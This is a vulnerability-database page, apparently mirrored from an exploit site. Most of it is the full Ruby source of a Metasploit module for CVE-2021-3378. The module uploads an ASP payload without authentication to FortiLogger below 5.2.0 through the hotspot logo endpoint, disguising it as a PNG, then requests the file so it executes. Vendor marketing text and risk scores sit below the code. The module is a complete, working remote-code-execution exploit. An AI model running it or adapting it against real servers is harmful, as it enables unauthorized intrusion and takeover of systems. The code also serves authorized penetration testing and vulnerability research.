Lucene search
K

FortiLogger Arbitrary File Upload Exploit

🗓️ 28 Mar 2021 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 62 Views

<This module exploits an unauthenticated arbitrary file upload via insecure POST request. It has been tested on versions < 5.2.0 in Windows 10 Enterprise.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FortiLogger Arbitrary File Upload Exploit',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary file upload
          via insecure POST request. It has been tested on versions < 5.2.0 in
          Windows 10 Enterprise.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Berkan Er <[email protected]>' # Vulnerability discovery, PoC and Metasploit module
          ],
        'References' =>
          [
            ['CVE', '2021-3378'],
            ['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
          ],

        'Platform' => ['win'],
        'Privileged' => false,
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' =>
          [
            [
              'FortiLogger < 5.2.0',
              {
                'Platform' => 'win'
              }
            ],
          ],
        'DisclosureDate' => '2021-02-26',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
      ]
    )
  end

  def check_product_info
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
      'method' => 'POST',
      'data' => '',
      'headers' => {
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language' => 'en-US,en;q=0.5',
        'Accept-Encoding' => 'gzip, deflate',
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )
  end

  def check
    begin
      res = check_product_info

      unless res
        return CheckCode::Unknown('Target is unreachable.')
      end

      unless res.code == 200
        return CheckCode::Unknown("Unexpected server response: #{res.code}")
      end

      version = Rex::Version.new(JSON.parse(res.body)['Version'])

      if version <= Rex::Version.new('4.4.2.2')
        CheckCode::Vulnerable("FortiLogger version #{version}")
      else
        CheckCode::Safe("FortiLogger version #{version}")
      end
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'The target may have been updated')
    end
  end

  def create_payload
    Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
  end

  def exploit
    begin
      print_good('Generate Payload')
      data = create_payload

      boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
      post_data = "--#{boundary}\r\n"
      post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
      post_data << "Content-Type: image/png\r\n"
      post_data << "\r\n#{data}\r\n"
      post_data << "--#{boundary}\r\n"

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
        'ctype' => "multipart/form-data; boundary=#{boundary}",
        'data' => post_data,
        'headers' => {
          'Accept' => 'application/json',
          'Accept-Language' => 'en-US,en;q=0.5',
          'X-Requested-With' => 'XMLHttpRequest'
        }
      )

      unless res
        fail_with(Failure::Unknown, 'No response from server')
      end

      unless res.code == 200
        fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
      end

      json_res = begin
        JSON.parse(res.body)
      rescue JSON::ParserError
        nil
      end

      if json_res.nil? || json_res['Message'] == 'Error in saving file'
        fail_with(Failure::UnexpectedReply, 'Error uploading payload')
      end

      print_good('Payload has been uploaded')

      handler

      print_status('Executing payload...')
      send_request_cgi({
        'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
        'method' => 'GET'
      }, 5)
    end
  rescue StandardError => e
    fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
  end
end

#  0day.today [2021-10-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2021 00:00Current
0.3Low risk
Vulners AI Score0.3
CVSS 27.5
CVSS 3.19.8
EPSS0.93583
62